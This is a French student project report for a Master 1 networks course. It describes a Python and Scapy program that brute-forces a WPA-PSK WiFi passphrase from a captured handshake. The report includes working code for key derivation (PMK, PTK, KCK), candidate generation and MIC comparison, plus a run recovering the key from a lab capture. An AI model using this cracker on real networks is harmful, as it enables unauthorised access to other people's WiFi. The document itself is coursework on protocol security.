RAPPORT DU PROJET DE Réseaux 2

EL KARN ADHAM – CHOUGAR MALIK

MASTER 1 CRYPTIS

Nous allons dans ce rapport présenter les différentes fonctions implémentées pour mener à bien notre projet. Nous avons choisi de travailler sur le projet n°2 qui permet de trouver par une méthode « brute force » le mot de passe utilisé dans la protection d'un réseau WiFi protégé par WPA-PSK.

1 – Exécution du programme :

Ci-dessous, le résultat de l'exécution du programme :

```
malik@malik-VirtualBox:~/Bureau/projetResAv2$ ./bruteforce_wpa.py
('Tous les mots de la liste ont une longueur egale a ', 8, ' et commencant par ', 'aaaa', '?', True)
("l'adresse MAC du point d'acces est :", '76:d9:ac:11:16:84')


("l'adresse MAC de la station est :", '00:0e:35:69:fe:d5')


("le SSID (Identifiant du point d'acces) est :", 'M1WPA')


("Nonce Ao envoye du point d'acces vers la station : ", '7c67f224a6e08193230feeb0eff9a07ec6cbf0163f9
62ba34d31dbdb2bc69d8d')


("Nonce So envoye de la station vers le point d'acces : ", 'eea4124e3facf8e0270db587fceee4da1c2a689b
e96b931fc26d35b4c7dbbbae')


('wpa_key_mic : ', 'adda25ccf2fcaecfd18b37f2b2ffafd2')


3.851843% aaaababaPSK = aaaababa
malik@malik-VirtualBox:~/Bureau/projetResAv2$
```

2- Les différentes fonctions implémentées :

Ci-dessous, les bibliothèques Python qui ont été nécessaires pour la réalisation du projet :

```
1  #!/usr/bin/python
2
3  from scapy.all import *
4  from pbkdf2 import PBKDF2
5  import hmac, hashlib,time,binascii
6  from itertools import product
```

Il a fallu dans un premier temps intégrer le format d'échange WPA-PSK dans Scapy :

```
class WPA_key(Packet):
    name = "WPA_key"
    fields_desc = [ ByteField("descriptor_type", 1),
            BitField("SMK_message",0,3),
            BitField("encrypted_key_data",0,1),
            BitField("request",0,1),
            BitField("error",0,1),
            BitField("secure",0,1),
            BitEnumField("key_MIC",0,1,{0:'not present',1:'present'}),
            BitField("key_ACK",1,1),
            BitField("install",0,1),
            BitField("key_index",0,2),
            BitEnumField("key_type",1,1,{0:'Group Key',1:'Pairwise Key'}),
            BitEnumField("key_descriptor_Version",2,3,{1:'HMAC-MD5 MIC',
                2:'HMAC-SHA1 MIC'}),
            LenField("len", None, "H"),
            StrFixedLenField("replay_counter", "", 8),
            StrFixedLenField("nonce", "", 32),
            StrFixedLenField("key_iv", "", 16),
            StrFixedLenField("wpa_key_rsc", "", 8),
            StrFixedLenField("wpa_key_id", "", 8),
            StrFixedLenField("wpa_key_mic", "", 16),
            LenField("wpa_key_length", None, "H"),
            StrLenField("wpa_key", "", length_from=lambda pkt:pkt.wpa_key_length)]

    def extract_padding(self, s):
        l = self.len
        return s[:l],s[l:]
    def hashret(self):
        return chr(self.type)+self.payload.hashret()
    def answers(self, other):
        if isinstance(other,WPA_key):
            return 1
        return 0

bind_layers( EAPOL, WPA_key, type=3)
```

Nous avons aussi ajouté plusieurs fonctions qui interviennent dans les traitements et qui ont été indispensables pour trouver la bonne PSK (Pre-Shared Key).

Ci-dessous, une fonction qui permet de décoder un paramètre de type hexadécimal :

```
def cs(a) :
    return a.decode('hex')

```

Ci-dessous, une fonction qui permet de convertir une chaine d'octets en un entier :

```
#fonction qui convertit une chaine d'octets en entier
def fromBytesToInt(b) :
    return int.from_bytes(b, byteorder='big', signed=False)

```

Ci-dessous, une fonction qui permet de convertir un paramètre de type « String » en un entier :

```
def strtoint(chaine):
    return int(chaine.encode('hex'),16)

```

Ci-dessous, le code de la fonction PRF :

```
55  #pseudo-Random Function
56  def prf(K, A, B, n) :
57      i = 0
58      R = ""
59      octet = 0
60      temp = binascii.hexlify(A) + '{:02x}'.format(octet) + B + '{:02x}'.format(i)
61      mon_hashmac = hmac.new(binascii.unhexlify(K), digestmod=hashlib.sha1)
62      mon_hashmac.update(binascii.unhexlify(temp))
63      r = mon_hashmac.digest()
64      R = R + r
65      n = (n / 8)
66      while(len(R) < n) :
67          i = i + 1
68          temp = binascii.hexlify(A) + '{:02x}'.format(octet) + B + '{:02x}'.format(i)
69          #mon_hashmac = hmac.new(binascii.unhexlify(K), digestmod=hashlib.sha1)
70          mon_hashmac.update(binascii.unhexlify(temp))
71          r = mon_hashmac.digest()
72          R = R + r
73      return R[:n]
```

La fonction PRF (Pseudo Random Function) est une fonction qui permet d'agrandir une clé et une graine, « seed », en une séquence aléatoire de taille variable (128, 256, 384 ou 512 bits).

Dans notre cas, la fonction PRF permet de calculer la PTK (Pairwise Transient Key) qui est de longueur égale à 512 bits :

$$PTK = PRF{-}512(PMK, \text{"Pairwise key expansion"}, LowerMAC \| HigherMAC \| LowerNonce \| HigherNonce)$$

où $\|$ désigne la concaténation.

Pour rappel, la PMK (Pairwise Master Key) est calculée à partir de la formule ci-dessous :

$$PMK = PBKDF2(PSK, SSID, 4096)$$

Où la PSK désigne la « Pre-Shared Key » et le SSID désigne l'identifiant du points d'accès.

La PMK a une longueur de 256 bits.

Le paramètre K de la fonction désigne la PMK, le paramètre A de la fonction désigne la « Pairwise key expansion », le paramètre B de la fonction désigne la concaténation « LowerMac||HigherMac||LowerNonce||HigherNonce » et le paramètre n désigne la longueur de la séquence de bits retournée qui correspond à la PTK.

Pour calculer la concaténation « LowerMac || HigherMac », on a déclaré la fonction suivante :

```python
#Fonction qui retourne la chaine de caratere LowerMac||HigherMac
def getLowerMacAdress(addr1, addr2) :
    temp1 = addr1.split(':')
    ad1 = ""
    for elem in temp1 :
        ad1 = ad1 + elem
    temp2 = addr2.split(':')
    ad2 = ""
    for elem in temp2 :
        ad2 = ad2 + elem
    i = len(ad1) - 1
    mult = 1
    s1 = 0
    while(i >= 0) :
        n = int(ad1[i], 16)
        s1 = s1 + n * mult
        mult = mult * 16
        i = i - 1
    i = len(ad2) - 1
    mult = 1
    s2 = 0
    while(i >= 0) :
        n = int(ad2[i], 16)
        s2 = s2 + n * mult
        mult = mult * 16
        i = i - 1
    if(s1 <= s2):
        return (ad1 + ad2)
    else :
        return (ad2 + ad1)
```

Pour calculer « LowerNonce || HigherNonce », on a créé la fonction suivante :

```python
#fonction qui retourne la chaine de caracteres LowerNonce||HigherNonce
def getLowerNonce(nonce1, nonce2) :
    s1 = int(nonce1,16)
    s2 = int(nonce2,16)
    if(s1 >= s2) :
        return (nonce2 + nonce1)
    else :
        return (nonce1 +nonce2)
```

Pour calculer le 3ème paramètre (la concaténation) de la fonction PRF, on a déclaré la fonction suivante :

```python
#fonction qui permet de calculer la chaine de caracteres LowerMac||HigherMac||LowerNonce||HigherNonce
def getAttributeBOfPRF(addr1, addr2, nonce1, nonce2) :
    LowerMacHigherMac = getLowerMacAdress(addr1, addr2)
    LOwerNonceHigherNonce = getLowerNonce(nonce1, nonce2)
    return (LowerMacHigherMac + LOwerNonceHigherNonce)
```

Ci-dessous, la fonction qui permet de calculer la KCK (Key Confirmation Key) qui constitue les 128 premiers bits de la PTK. La clé KCK est dérivée de la PTK qui est elle-même dérivée de la PMK :

```python
#fonction qui permet d'extraire la KCK (Key Confirmation Key) a partir de la PTK qui correspond aux 128 premiers bits:
def getKCK(prf):
    return binascii.hexlify(prf)[:32]
```

On sait dans l'énoncé que la PSK est composée de 8 caractères alphabétiques minuscules et que les 4 premières lettres de la PSK sont « aaaa », on a donc créé une fonction qui liste tous les mots de longueur 8 et commençant par la sous chaine « aaaa » :

```python
def generatePSK(length_word, init_psk) :
    if(len(init_psk) >= length_word) :
        return []
    l1 = []
    for elem in range(97, 123) :
        temp = init_psk + chr(elem)
        l1.append(temp)
    final_list = l1
    for i in range(0, length_word - len(initial_psk) - 1) :
        final_list = []
        for word in l1 :
            for elem in range(97, 123) :
                temp = word + chr(elem)
                final_list.append(temp)
        l1 = final_list
    return final_list
```

Cette liste sera donc utilisée pour tester toutes les combinaisons possibles lors de l'attaque brute-force.

Ci-dessous, une fonction qui nous permet de tester que chaque mot de la liste « liste_words » est bien composée de « length_word » caractères et qu'il commence bien par la sous chaîne « init_psk » :

```python
def testLengthOfAllWordsIsOk(liste_words, length_word, init_psk) :
    for elem in liste_words :
        if((len(elem) != length_word) or (elem[0 : len(init_psk)] != init_psk)) :
            return False
    return True
```

3) Le « MAIN » :

Ci-dessous, le code du main qui permet d'extraire les paquets de la capture du handshake fournie et qui permet d'afficher les différents éléments qui vont permettre de calculer la PSK :

```
#print(liste_psk2)
initial_psk = "aaaa"
length_wrd = 8
liste_psk = generatePSK(length_wrd, initial_psk) # generatePsk(8) retourne tous les psk de longueur 8 et commencant par la chaine "aa

print("Tous les mots de la liste ont une longueur egale a ", length_wrd, " et commencant par ",
initial_psk, "?",testLengthOfAllWordsIsOk(liste_psk, length_wrd, initial_psk))
l = rdpcap("capture_wpa.pcap")
list_packets_handshakes = [pk for pk in l if pk.haslayer(WPA_key)]
packet0 = l[0]
packet1 = l[1]
packet2 = l[2]
packet3 = l[3]
packet4 = l[4]

mac_addr_STA = packet2.addr2
mac_addr_PA = packet2.addr1
nonce_PA_Station = binascii.hexlify((packet3.nonce))
nonce_Station_PA = binascii.hexlify((packet2.nonce))
ssid = (l[0].info)
mic = (packet4.wpa_key_mic)
print("l'adresse MAC du point d'acces est :", mac_addr_PA)
print("\n")
print("l'adresse MAC de la station est :", mac_addr_STA)
print("\n")
print("le SSID (Identifiant du point d'acces) est :", ssid)
print("\n")
print("Nonce Ao envoye du point d'acces vers la station : ",nonce_PA_Station)
print("\n")
print("Nonce So envoye de la station vers le point d'acces : ",nonce_Station_PA)
print('\n')
print("wpa_key_mic : ",binascii.hexlify(mic))
print('\n')
```

Ci-dessous, le code principal qui va permettre de retrouver la PSK :

```
packet_to_compare = l[4].getlayer(EAPOL)
packet_to_compare.key_ACK = 0
packet_to_compare.wpa_key_mic = ''
length_psk = len(liste_psk)
concat_str =  getAttributeBOfPRF(mac_addr_STA, mac_addr_PA, nonce_Station_PA, nonce_PA_Station)
hex_mic = binascii.hexlify(mic)
for i,psk in enumerate(liste_psk):
    f = PBKDF2(psk, ssid, 4096) #il faut extraire M1WPA de l[0] M1WPA = \x
    pmk = binascii.hexlify(f.read(32))
    p = prf(pmk, "Pairwise key expansion", concat_str, 512)
    kck = getKCK(p)
    mon_hashmac = hmac.new(binascii.unhexlify(kck),digestmod=hashlib.md5)
    mon_hashmac.update(bytes(packet_to_compare))
    val_hmac = mon_hashmac.digest()
    result = binascii.hexlify(val_hmac)
    sys.stdout.write('\r')
    sys.stdout.write("%f%% %s" % (((i * 100)/float(length_psk)),psk))
    if(result == hex_mic):
        print("PSK = " + psk)
        break
```